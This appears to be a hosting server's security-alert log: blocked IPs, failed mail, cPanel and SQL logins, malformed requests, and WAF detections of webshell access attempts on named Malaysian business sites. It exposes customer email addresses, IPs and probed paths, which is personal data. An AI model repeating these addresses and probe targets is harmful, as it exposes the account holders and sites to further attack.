Jan 13 15:23:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.189.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.98
country_id: 226074
description:
Jan 13 15:23:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.170.250
country_id: 3469034
description:
Jan 13 15:23:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.170.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.181.5.85
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/exhibition.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.164.208.75
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/road/10/609/1005031 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.102.47.68
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=8 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.187.167.234
country_id: 6252001
description:
Jan 13 15:26:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.187.167.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.187.167.234
country_id: 6252001
description:
2026-01-13 15:26:57 dovecot_login authenticator failed for H=wsip-98-187-167-234.fv.ks.cox.net [98.187.167.234]:45518: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 15:27:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59802: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 15:27:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59804: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.192.179.147
country_id: 798544
description:
Jan 13 15:30:05 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.192.179.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 15:29:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.87.200.131
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=980665 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.122.26
country_id: 226074
description:
Jan 13 15:29:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.122.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:30:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55570: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.195.150
country_id: 290557
description:
Jan 13 15:30:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.195.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-01-13 15:30:04 dovecot_plain authenticator failed for H=(ancenness) [91.73.195.150]:45541: 535 Incorrect authentication data (set_id=laifun.lee@tujusetia.my)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
	cpanel::cpsrvd::do_token_denied("login failed", HASH(0x1c82ce0), undef, "jupiter") called at cpsrvd.pl line 5321


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-13 15:30:23 +0800] info [webmaild] 113.211.37.45 - rozyhr@tschuan.com "GET /cpsess1655842472/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-01-13 15:30:44 dovecot_plain authenticator failed for H=(restrallus) [91.73.195.150]:48972: 535 Incorrect authentication data (set_id=jeffrey.hong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.154.231.246
country_id: 3469034
description:
Jan 13 15:31:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.154.231.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:30:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55570: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.192.179.147
country_id: 798544
description:
Jan 13 15:30:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.192.179.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-13 15:30:36 +0800] info [webmaild] 113.211.37.45 - rozyhr@tschuan.com "POST /login HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.195.150
country_id: 290557
description:
Jan 13 15:30:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.73.195.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.154.231.246
country_id: 3469034
description:
Jan 13 15:31:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.154.231.246 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/photos/contact.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.28
country_id: 3175395
description:
Jan 13 15:34:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.168.38.78
country_id: 1835841
description:
2026-01-13 15:35:51 dovecot_login authenticator failed for H=([112.168.38.78]) [112.168.38.78]:33896: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.168.38.78
country_id: 1835841
description:
Jan 13 15:35:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.168.38.78 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.136.4
country_id: 3437598
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=54061516587340 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.2.98.126
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=64&page=2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.6.252.129
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27651514882577 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.234
country_id: 798544
description:
Jan 13 15:37:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.189.92.106
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97251515044148 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.116
country_id: 3175395
description:
Jan 13 15:38:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.73.115.19
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=69&page=6 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.179.113.73
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=72&page=6 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.204.61.47
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=975297 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.194.186.107
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=53491523517691 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.241.171.19
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=92381526630256 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 60.52.141.180
country_id: 1733045
domain: agsaintifik.com.my
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:7.62||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/38/feedback||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.136.221
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=58 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.128.66.114
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=83&page=2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 60.52.141.180
country_id: 1733045
domain: agsaintifik.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/38/feedback||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 93.183.93.32
country_id: 2017370
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-41.93.183.93.32||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/private-residence.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.190.4.45
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=219327 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.122.255.126
country_id: 99237
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=900301 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.177
country_id: 953987
description:
Jan 13 15:43:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.177 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 15:45:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:45482: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 164.163.133.156
country_id: 3658394
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/library/Mockery/Loader HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 15:45:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:45482: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 15:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57856: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.101.14.34
country_id: 690791
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/library/Mockery/Loader/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 15:47:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57856: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.135.158
country_id: 1269750
description:
Jan 13 15:48:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.135.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.47
country_id: 3469034
description:
Jan 13 15:51:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.209.140
country_id: 798544
description:
Jan 13 15:52:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.209.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.198.168
country_id: 2510769
description:
Jan 13 15:52:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.198.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.129.206.9
country_id: 3469034
description:
Jan 13 15:52:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.129.206.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.62.80.222
country_id: 3439705
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=159341 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.109.115
country_id: 798544
description:
Jan 13 15:52:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.109.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.139.180.140
country_id: 3175395
description:
Jan 13 15:53:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.139.180.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 15:55:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60043: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 15:55:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60044: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.0.5.255
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=881760 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.189.36.4
country_id: 3469034
description:
[2026-01-13 15:55:31 +0800] info [cpaneld] 181.189.36.4 - urban "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.11.243
country_id: 2300660
description:
Jan 13 15:56:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.11.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 15:57:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.223
country_id: 690791
description:
Jan 13 15:56:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.211.212.21
country_id: 1733045
description:
2026-01-13 15:57:48 H=([192.168.1.6]) [113.211.212.21]:3606 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<vasundra@egbwawasan.com.my> A=dovecot_login:vasundra@egbwawasan.com.my temporarily rejected RCPT <SweatLing.Kor@kerrylogistics.com>: host lookup did not complete


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 87.241.159.92
country_id: 174982
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=593205 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:58:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55614: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.71.236.96
country_id: 3469034
description:
Jan 13 15:57:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.71.236.96 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 211.25.18.142
country_id: 1733045
description:
[2026-01-13 15:58:57 +0800] info [webmaild] 211.25.18.142 - safuddin@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:58:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55614: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.85.88.192
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603392 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.211.212.21
country_id: 1733045
description:
2026-01-13 15:58:12 H=([192.168.1.6]) [113.211.212.21]:3628 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<vasundra@egbwawasan.com.my> A=dovecot_login:vasundra@egbwawasan.com.my temporarily rejected RCPT <SweatLing.Kor@kerrylogistics.com>: host lookup did not complete


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 80.82.70.133
country_id: 241170
description:
2026-01-13 15:59:47 2529519 [Warning] Aborted connection 2529519 to db: 'unconnected' user: 'unauthenticated' host: '80.82.70.133' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 80.82.70.133
country_id: 241170
description:
2026-01-13 16:01:53 2529632 [Warning] Aborted connection 2529632 to db: 'unconnected' user: 'unauthenticated' host: '80.82.70.133' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-13 16:02:53 H=([45.144.212.54]) [45.144.212.54]:62196 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <azman@ajplantations.com.my>: No Such User Here"


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 192.241.133.142
country_id: 6252001
description:
2026-01-13 16:04:02 2529858 [Warning] Aborted connection 2529858 to db: 'unconnected' user: 'unauthenticated' host: '192.241.133.142' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 142.93.49.186
country_id: 6252001
description:
2026-01-13 16:03:20 2529832 [Warning] Aborted connection 2529832 to db: 'unconnected' user: 'unauthenticated' host: '142.93.49.186' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 104.248.122.5
country_id: 6252001
description:
2026-01-13 16:03:21 2529835 [Warning] Aborted connection 2529835 to db: 'unconnected' user: 'unauthenticated' host: '104.248.122.5' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 67.227.126.167
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-04.67.227.126.167||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.20
country_id: 241170
description:
Jan 13 16:05:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.66.4
country_id: 3469034
description:
Jan 13 16:05:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.66.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.36.0.89
country_id: 6252001
domain: www.working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.working.magsoft.com.my/loreal/loreal-luxe/yuesai/index.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.135
country_id: 1880251
domain: www.working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.working.magsoft.com.my/themes/LorealCorp/css/bundle187b.css?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.252
country_id: 1880251
domain: www.working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.working.magsoft.com.my/themes/LorealCorp/css/chunk-04eeced9.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.248
country_id: 1880251
domain: www.working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.working.magsoft.com.my/themes/LorealCorp/bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.153
country_id: 1880251
domain: www.working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.working.magsoft.com.my/cdn-cgi/challenge-platform/h/g/scripts/jsd/7a55c9ccbaaa/maind41d.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.235.7
country_id: 3175395
description:
Jan 13 16:06:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.235.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.239
country_id: 1880251
domain: www.working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.working.magsoft.com.my/cdn.cookielaw.org/scripttemplates/otSDKStub.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.209
country_id: 1880251
domain: www.working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.working.magsoft.com.my/themes/LorealCorp/vendors.bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
